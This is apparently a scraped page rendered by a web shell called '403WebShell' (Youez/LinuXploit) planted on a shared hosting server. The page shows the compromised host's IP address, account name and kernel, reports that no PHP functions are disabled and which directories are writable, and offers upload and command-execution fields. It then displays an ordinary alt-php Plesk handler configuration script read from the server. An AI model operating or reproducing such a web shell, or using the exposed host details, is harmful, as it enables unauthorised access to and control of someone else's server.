Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 52.14.7.53
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-php-config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-php-config/alt-php-panel-configuration.py
#!/usr/libexec/platform-python
# -*- mode:python; coding:utf-8; -*-
import getopt
import glob
import logging
import os
import subprocess
import sys
from shutil import copy2
try:
    import db.clcommon.cpapi as cpapi
except ImportError:
    import detectcp as cpapi
MODES = ("check", "install", "uninstall")


def configure_logging(verbose):
    """
    Logging configuration function

    :type verbose: bool
    :param verbose: Enable additional debug output if True, display only errors
        othervise
    :return: configured logger object
    """
    if verbose:
        level = logging.DEBUG
    else:
        level = logging.ERROR
    handler = logging.StreamHandler()
    handler.setLevel(level)
    log_format = "%(levelname)-8s: %(message)s"
    formatter = logging.Formatter(log_format, "%H:%M:%S %d.%m.%y")
    handler.setFormatter(formatter)
    logger = logging.getLogger()
    logger.addHandler(handler)
    logger.setLevel(level)
    return logger


def find_alt_php_versions():
    """
    Returns list of installed alt-php versions and their base directories

    :rtype:  list
    :return:  List of version (e.g. 44, 55) and base directory tuples
    """
    php_versions = []
    for php_dir in glob.glob("/opt/alt/php[0-9][0-9]"):
        php_versions.append((php_dir[-2:], php_dir))
    php_versions.sort()
    return php_versions


def plesk_check_php_handler(cgi_type, php_ver):
    """

    :param php_ver: alt-php version (e.g. 44, 55, 70)
    :return: If handler exist returns True, otherwise False
    """
    proc = subprocess.Popen(["/usr/local/psa/bin/php_handler", "--list"],
                            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            universal_newlines=True)
    out, _ = proc.communicate()
    for line in out.split("\n"):
        if 'alt-php%s-%s' % (php_ver, cgi_type) in line.strip().split(" ")[0]:
            logging.info("Handler for alt-php%s-%s exist." % (php_ver, cgi_type))
            return True
    logging.info("Handler for alt-php%s-%s not exist." % (php_ver, cgi_type))
    return False


def plesk_add_php_handler(cgi_type, php_ver, php_path):
    if plesk_check_php_handler(cgi_type, php_ver):
        logging.info("Handler for alt-php%s-%s exist." % (php_ver, cgi_type))
        return False
    logging.info("Plesk: Installing alt-php%s-%s handler." % (php_ver, cgi_type))
    sys.stdout.write("Plesk: Installing alt-php{0}-{1} handler.".format(php_ver, cgi_type))
    # run /usr/local/psa/bin/php_handler --add -displayname alt-php-7.0.0 -path /opt/alt/php70/usr/bin/php-cgi
    # -phpini /opt/alt/php70/etc/php.ini -type fastcgi -id 666 -clipath /opt/alt/php70/usr/bin/php
    command = "/usr/local/psa/bin/php_handler"
    add_command = [
        command, '--add',
        '-displayname', 'alt-php%s-%s' % (php_ver, cgi_type),
        '-clipath', os.path.join(php_path, 'usr/bin/php'),
        '-phpini', os.path.join(php_path, 'etc/php.ini'),
        '-type', cgi_type,
        '-id', 'alt-php%s-%s' % (php_ver, cgi_type), ]
    if cgi_type == "fpm":
        add_command.extend([
        '-service', 'alt-php%s-fpm' % php_ver,
        '-path', os.path.join(php_path, 'usr/sbin/php-fpm'),
        '-poold', os.path.join(php_path, 'etc/php-fpm.d'),])
        if not os.path.exists("/opt/alt/php%s/etc/php-fpm.conf" % php_ver):
            copy2(os.path.join(php_path, 'etc/php-fpm.conf.plesk'), os.path.join(php_path, 'etc/php-fpm.conf'))
    else:
        add_command.extend([
        '-path', os.path.join(php_path, 'usr/bin/php-cgi'),])
    proc = subprocess.Popen(add_command, stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, universal_newlines=True)
    out, _ = proc.communicate()
    if proc.returncode != 0:
        raise Exception(u"cannot execute \"%s\": %s" % (' '.join(add_command), out))
    proc = subprocess.Popen([command, "--reread"], stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, universal_newlines=True)
    out, _ = proc.communicate()
    if proc.returncode != 0:
        raise Exception(u"cannot execute \"" + command + " --reread\": %s" % out)
    logging.info("Handler for alt-php%s was successfully added." % php_ver)
    return True


def plesk_remove_php_handler(cgi_type, php_ver):
    if plesk_check_php_handler(cgi_type, php_ver):
        logging.info("Plesk: Removing alt-php%s-%s handler." % (php_ver, cgi_type))
        sys.stdout.write("Plesk: Removing alt-php{0}-{1} handler.".format(php_ver, cgi_type))
        command = ["/usr/local/psa/bin/php_handler", "--remove",
                   "-id", "alt-php%s-%s" % (php_ver, cgi_type)]
        proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                                universal_newlines=True)
        out, _ = proc.communicate()
        if proc.returncode != 0:
            raise Exception(u"cannot execute \"%s\": %s" % (' '.join(command), out))
        logging.info("Handler for alt-php%s-%s was successfully removed." % (php_ver, cgi_type))
        return True
    else:
        logging.info("Handler for alt-php%s-%s not exist." % (php_ver, cgi_type))
        return False


def configure_alt_php(mode, php_ver, php_path):
    """
    :rtype: bool
    :return: If success returns True, otherwise False
    """
    try:
        cp_name = cpapi.getCPName()
        if cp_name == "Plesk":
            if not os.path.exists("/usr/local/psa/bin/php_handler"):
                raise Exception("/usr/local/psa/bin/php_handler not exist.")
            if mode == "install":
                plesk_add_php_handler('fastcgi', php_ver, php_path)
                plesk_add_php_handler('cgi', php_ver, php_path)
                if os.path.exists("/etc/init.d/alt-php%s-fpm" % php_ver) or os.path.exists("/usr/lib/systemd/system/alt-php%s-fpm.service" % php_ver):
                    plesk_add_php_handler('fpm', php_ver, php_path)
            elif mode == "uninstall":
                plesk_remove_php_handler('fastcgi', php_ver)
                plesk_remove_php_handler('cgi', php_ver)
                if os.path.exists("/etc/init.d/alt-php%s-fpm" % php_ver) or os.path.exists("/usr/lib/systemd/system/alt-php%s-fpm.service" % php_ver):
                    plesk_remove_php_handler('fpm', php_ver)
            else:
                return plesk_check_php_handler('fastcgi', php_ver) and plesk_check_php_handler('cgi', php_ver) and plesk_check_php_handler('fpm', php_ver)
    except Exception as e:
        logging.info(e)
        return False


def main(sys_args):
    try:
        opts, args = getopt.getopt(sys_args, "m:p:v", ["mode=", "php=", "verbose"])
    except getopt.GetoptError as e:
        sys.stderr.write("cannot parse command line arguments: {0}".format(e))
        return 1
    verbose = False
    mode = "check"
    php_versions = []
    for opt, arg in opts:
        if opt in ("-m", "--mode"):
            if arg not in MODES:
                # use check mode
                mode = "check"
            else:
                mode = arg
        if opt in ("-p", "--php"):
            if not os.path.isdir("/opt/alt/php%s" % arg):
                sys.stderr.write("unknown PHP version {0}".format(arg))
                return 1
            php_versions.append((arg, "/opt/alt/php%s" % arg))
        if opt in ("-v", "--verbose"):
            verbose = True
    log = configure_logging(verbose)

    if not php_versions:
        php_versions = find_alt_php_versions()
        log.info(u"installed alt-php versions are\n%s" %
                 "\n".join(["\t alt-php%s: %s" % i for i in php_versions]))
    for ver, path in php_versions:
        configure_alt_php(mode, ver, path)


if __name__ == "__main__":
    sys.exit(main(sys.argv[1:]))

Youez - 2016 - github.com/yon3zu
LinuXploit